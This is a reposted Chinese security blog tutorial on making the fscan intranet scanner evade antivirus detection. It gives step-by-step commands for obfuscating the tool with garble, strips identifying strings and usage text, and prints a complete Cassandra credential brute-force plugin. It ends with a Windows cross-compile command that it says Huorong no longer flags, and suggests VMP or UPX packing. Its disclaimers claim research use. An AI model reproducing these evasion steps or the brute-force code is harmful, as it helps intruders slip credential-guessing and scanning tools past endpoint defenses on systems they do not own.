做个”脚本小子”–fscan.exe的免杀篇

admin 2026-01-20 01:47:16 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细介绍了使用garble工具对fscan进行源码修改与混淆以实现免杀的方法。主要步骤包括配置Go环境、修改模块路径、修复Cassandra.go结构体冲突、去除flag用法提示及国际化字符串特征,最终编译生成可绕过火绒查杀的exe文件,并建议结合VMP或UPX加壳增强效果。 综合评分: 88 文章分类: 免杀,内网渗透,安全工具


cover_image

做个”脚本小子”–fscan.exe的免杀篇

原创

lawliet lawliet

kingman安全

2026年1月17日 22:34 中国香港

声明:

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。同时所有相关行为均已取得授权,未经作者同意禁止转载

文章参考:新手如何快速做到免杀fscan

文章有点长希望你有所收获

环境

win10和一台linux(就win10也可以,无所谓,命令看着转换就好)

linux准备

wget https://go.dev/dl/go1.21.13.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.13.linux-amd64.tar.gz
vim ~/.zshrc
export GO111MODULE=onexport GOPATH=$HOME/goexport GOROOT=/usr/local/goexport PATH=$PATH:$GOROOT/bin:$GOPATH/binexport GOPROXY=https://goproxy.cn,directexport GOSUMDB=off
source ~/.zshrc
go install mvdan.cc/[email protected]
cp /root/go/bin/* /root/Downloads

如果wget不了,可以直接去下载,然后解压,可以通过

go env | grep GOPATH

确认garble位置,因为我们要将它移动到fscan里面

win准备

下载好fscan

git  clone https://github.com/shadow1ng/fscan.git

然后打开vscode

开始编辑

新建一个文件夹scan将4个功能的文件夹放进去

修改go.mod

选择scan,ctrl+shift+f,搜索

github.com/shadow1ng/fscan

替换

再找找有哪些go文件有fscan全改掉

Cassandra.go

因为garble 混淆 Go 代码时遇到了结构体类型不匹配的编译错误

所以我们要改掉Cassandra.go文件,以下为全部

package Plugins
import ( "context" "fmt" "github.com/gocql/gocql" "OpsTool/scan/Common" "strconv" "strings" "sync" "time")
// =======================// 类型定义(新增,garble-safe)// =======================
// cassandraSessionResult 用于会话创建结果type cassandraSessionResult struct { session *gocql.Session err error}
// cassandraQueryResult 用于查询测试结果type cassandraQueryResult struct { success bool err error}
// =======================// 原有结构体// =======================
// CassandraCredential 表示一个Cassandra凭据type CassandraCredential struct { Username string Password string}
// CassandraScanResult 表示扫描结果type CassandraScanResult struct { Success bool IsAnonymous bool Error error Credential CassandraCredential}
// =======================// 扫描主逻辑// =======================
func CassandraScan(info *Common.HostInfo) (tmperr error) { if Common.DisableBrute { return }
 target := fmt.Sprintf("%v:%v", info.Host, info.Ports) Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
 ctx, cancel := context.WithTimeout( context.Background(), time.Duration(Common.GlobalTimeout)*time.Second, ) defer cancel()
 // 先尝试无认证 Common.LogDebug("尝试无认证访问...") anonymousCredential := CassandraCredential{} anonymousResult := tryCassandraCredential( ctx, info, anonymousCredential, Common.Timeout, Common.MaxRetries, )
 if anonymousResult.Success { saveCassandraSuccess(info, target, anonymousResult.Credential, true) return nil }
 credentials := generateCassandraCredentials( Common.Userdict["cassandra"], Common.Passwords, )
 Common.LogDebug(fmt.Sprintf( "开始尝试用户名密码组合 (用户:%d 密码:%d 组合:%d)", len(Common.Userdict["cassandra"]), len(Common.Passwords), len(credentials), ))
 result := concurrentCassandraScan( ctx, info, credentials, Common.Timeout, Common.MaxRetries, )
 if result != nil { saveCassandraSuccess(info, target, result.Credential, false) }
 return nil}
// =======================// 工具函数// =======================
func generateCassandraCredentials(users, passwords []string) []CassandraCredential { var credentials []CassandraCredential for _, user := range users { for _, pass := range passwords { actualPass := strings.Replace(pass, "{user}", user, -1) credentials = append(credentials, CassandraCredential{ Username: user, Password: actualPass, }) } } return credentials}
func concurrentCassandraScan( ctx context.Context, info *Common.HostInfo, credentials []CassandraCredential, timeoutSeconds int64, maxRetries int,) *CassandraScanResult {
&nbsp;maxConcurrent := Common.ModuleThreadNum&nbsp;if&nbsp;maxConcurrent <=&nbsp;0&nbsp;{&nbsp;maxConcurrent =&nbsp;10&nbsp;}&nbsp;if&nbsp;maxConcurrent >&nbsp;len(credentials) {&nbsp;maxConcurrent =&nbsp;len(credentials)&nbsp;}
&nbsp;var&nbsp;wg sync.WaitGroup&nbsp;resultChan :=&nbsp;make(chan&nbsp;*CassandraScanResult,&nbsp;1)&nbsp;workChan :=&nbsp;make(chan&nbsp;CassandraCredential, maxConcurrent)
&nbsp;scanCtx, scanCancel := context.WithCancel(ctx)&nbsp;defer&nbsp;scanCancel()
&nbsp;for&nbsp;i :=&nbsp;0; i < maxConcurrent; i++ {&nbsp;wg.Add(1)&nbsp;go&nbsp;func()&nbsp;{&nbsp;defer&nbsp;wg.Done()&nbsp;for&nbsp;cred :=&nbsp;range&nbsp;workChan {&nbsp;select&nbsp;{&nbsp;case&nbsp;<-scanCtx.Done():&nbsp;return&nbsp;default:&nbsp;result := tryCassandraCredential(&nbsp;scanCtx, info, cred, timeoutSeconds, maxRetries,&nbsp;)&nbsp;if&nbsp;result.Success {&nbsp;select&nbsp;{&nbsp;case&nbsp;resultChan <- result:&nbsp;scanCancel()&nbsp;default:&nbsp;}&nbsp;return&nbsp;}&nbsp;}&nbsp;}&nbsp;}()&nbsp;}
&nbsp;go&nbsp;func()&nbsp;{&nbsp;for&nbsp;i, cred :=&nbsp;range&nbsp;credentials {&nbsp;select&nbsp;{&nbsp;case&nbsp;<-scanCtx.Done():&nbsp;break&nbsp;default:&nbsp;Common.LogDebug(fmt.Sprintf(&nbsp;"[%d/%d] 尝试: %s:%s",&nbsp;i+1,&nbsp;len(credentials), cred.Username, cred.Password,&nbsp;))&nbsp;workChan <- cred&nbsp;}&nbsp;}&nbsp;close(workChan)&nbsp;}()
&nbsp;go&nbsp;func()&nbsp;{&nbsp;wg.Wait()&nbsp;close(resultChan)&nbsp;}()
&nbsp;select&nbsp;{&nbsp;case&nbsp;result := <-resultChan:&nbsp;return&nbsp;result&nbsp;case&nbsp;<-ctx.Done():&nbsp;return&nbsp;nil&nbsp;}}
// =======================// 核心:连接与验证(已修复 garble 问题)// =======================
func&nbsp;tryCassandraCredential(&nbsp;ctx context.Context,&nbsp;info *Common.HostInfo,&nbsp;credential CassandraCredential,&nbsp;timeoutSeconds&nbsp;int64,&nbsp;maxRetries&nbsp;int,) *CassandraScanResult {
&nbsp;var&nbsp;lastErr&nbsp;error
&nbsp;for&nbsp;retry :=&nbsp;0; retry < maxRetries; retry++ {&nbsp;select&nbsp;{&nbsp;case&nbsp;<-ctx.Done():&nbsp;return&nbsp;&CassandraScanResult{&nbsp;Success:&nbsp;false,&nbsp;Error: ctx.Err(),&nbsp;Credential: credential,&nbsp;}&nbsp;default:&nbsp;connCtx, cancel := context.WithTimeout(&nbsp;ctx, time.Duration(timeoutSeconds)*time.Second,&nbsp;)
&nbsp;success, err := CassandraConn(&nbsp;connCtx, info, credential.Username, credential.Password,&nbsp;)&nbsp;cancel()
&nbsp;if&nbsp;success {&nbsp;return&nbsp;&CassandraScanResult{&nbsp;Success:&nbsp;true,&nbsp;IsAnonymous: credential.Username ==&nbsp;""&nbsp;&& credential.Password ==&nbsp;"",&nbsp;Credential: credential,&nbsp;}&nbsp;}
&nbsp;lastErr = err&nbsp;}&nbsp;}
&nbsp;return&nbsp;&CassandraScanResult{&nbsp;Success:&nbsp;false,&nbsp;Error: lastErr,&nbsp;Credential: credential,&nbsp;}}
func&nbsp;CassandraConn(&nbsp;ctx context.Context,&nbsp;info *Common.HostInfo,&nbsp;user, pass&nbsp;string,) (bool,&nbsp;error) {
&nbsp;cluster := gocql.NewCluster(info.Host)&nbsp;cluster.Port, _ = strconv.Atoi(info.Ports)&nbsp;cluster.Timeout = time.Duration(Common.Timeout) * time.Second&nbsp;cluster.ConnectTimeout = cluster.Timeout&nbsp;cluster.ProtoVersion =&nbsp;4&nbsp;cluster.Consistency = gocql.One
&nbsp;if&nbsp;user !=&nbsp;""&nbsp;|| pass !=&nbsp;""&nbsp;{&nbsp;cluster.Authenticator = gocql.PasswordAuthenticator{&nbsp;Username: user,&nbsp;Password: pass,&nbsp;}&nbsp;}
&nbsp;sessionChan :=&nbsp;make(chan&nbsp;cassandraSessionResult,&nbsp;1)
&nbsp;go&nbsp;func()&nbsp;{&nbsp;session, err := cluster.CreateSession()&nbsp;select&nbsp;{&nbsp;case&nbsp;<-ctx.Done():&nbsp;if&nbsp;session !=&nbsp;nil&nbsp;{&nbsp;session.Close()&nbsp;}&nbsp;case&nbsp;sessionChan <- cassandraSessionResult{session, err}:&nbsp;}&nbsp;}()
&nbsp;var&nbsp;session *gocql.Session&nbsp;select&nbsp;{&nbsp;case&nbsp;result := <-sessionChan:&nbsp;if&nbsp;result.err !=&nbsp;nil&nbsp;{&nbsp;return&nbsp;false, result.err&nbsp;}&nbsp;session = result.session&nbsp;case&nbsp;<-ctx.Done():&nbsp;return&nbsp;false, ctx.Err()&nbsp;}
&nbsp;defer&nbsp;session.Close()
&nbsp;queryChan :=&nbsp;make(chan&nbsp;cassandraQueryResult,&nbsp;1)
&nbsp;go&nbsp;func()&nbsp;{&nbsp;var&nbsp;tmp&nbsp;string&nbsp;err := session.Query(&nbsp;"SELECT peer FROM system.peers",&nbsp;).WithContext(ctx).Scan(&tmp)
&nbsp;if&nbsp;err !=&nbsp;nil&nbsp;{&nbsp;err = session.Query(&nbsp;"SELECT now() FROM system.local",&nbsp;).WithContext(ctx).Scan(&tmp)&nbsp;}
&nbsp;select&nbsp;{&nbsp;case&nbsp;<-ctx.Done():&nbsp;case&nbsp;queryChan <- cassandraQueryResult{err ==&nbsp;nil, err}:&nbsp;}&nbsp;}()
&nbsp;select&nbsp;{&nbsp;case&nbsp;result := <-queryChan:&nbsp;return&nbsp;result.success, result.err&nbsp;case&nbsp;<-ctx.Done():&nbsp;return&nbsp;false, ctx.Err()&nbsp;}}
// =======================// 保存结果// =======================
func&nbsp;saveCassandraSuccess(&nbsp;info *Common.HostInfo,&nbsp;target&nbsp;string,&nbsp;credential CassandraCredential,&nbsp;isAnonymous&nbsp;bool,) {
&nbsp;Common.LogSuccess(fmt.Sprintf(&nbsp;"Cassandra %s 成功 (%s)",&nbsp;target,&nbsp;map[bool]string{true:&nbsp;"匿名",&nbsp;false:&nbsp;"弱口令"}[isAnonymous],&nbsp;))
&nbsp;Common.SaveResult(&Common.ScanResult{&nbsp;Time: time.Now(),&nbsp;Type: Common.VULN,&nbsp;Target: info.Host,&nbsp;Status:&nbsp;"vulnerable",&nbsp;})}

尝试编译

现在将fscan文件夹丢到linux上面,将grable移动到fscan目录下

./garble -tiny -literals -seed=random build -ldflags="-w -s"&nbsp;main.go

没有报错并且main文件可以运行,那就证明我们修改的内容没有影响到编译

开始进一步修改,因为我们的目的是生成一个免杀的exe文件

去提示特征

定位

先删掉Parse/go里面的flag.Usage()和”flag”

修改i18n.go

将LangZH,LangEN,LangJA,LangRU行全替换为空,注意留下图中框出的两行,直接点那个XX就可以排除

注意检查所有函数里的内容是否为空没有

往往需要再手动删除这些

再次尝试编译

确认我们的修改不影响编译

编译exe版本

GOOS=windows GOARCH=amd64 CGO_ENABLED=0&nbsp;\./garble -tiny -literals -seed=random&nbsp;\build -ldflags="-w -s"&nbsp;-o abc.exe main.go

现在火绒已经看不出风险了,那我们可以进一步加强的,

如使用vmp 加壳或者upx加壳

[TIPS]也可以使用garble进一步混淆他,当然记得看看能不能用,混淆太过不一定可以使用的

没有做到完美,可以多试试其他混淆,看看其他参数的效果


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:kingman安全 lawliet lawliet《做个”脚本小子”–fscan.exe的免杀篇》

评论:0   参与:  0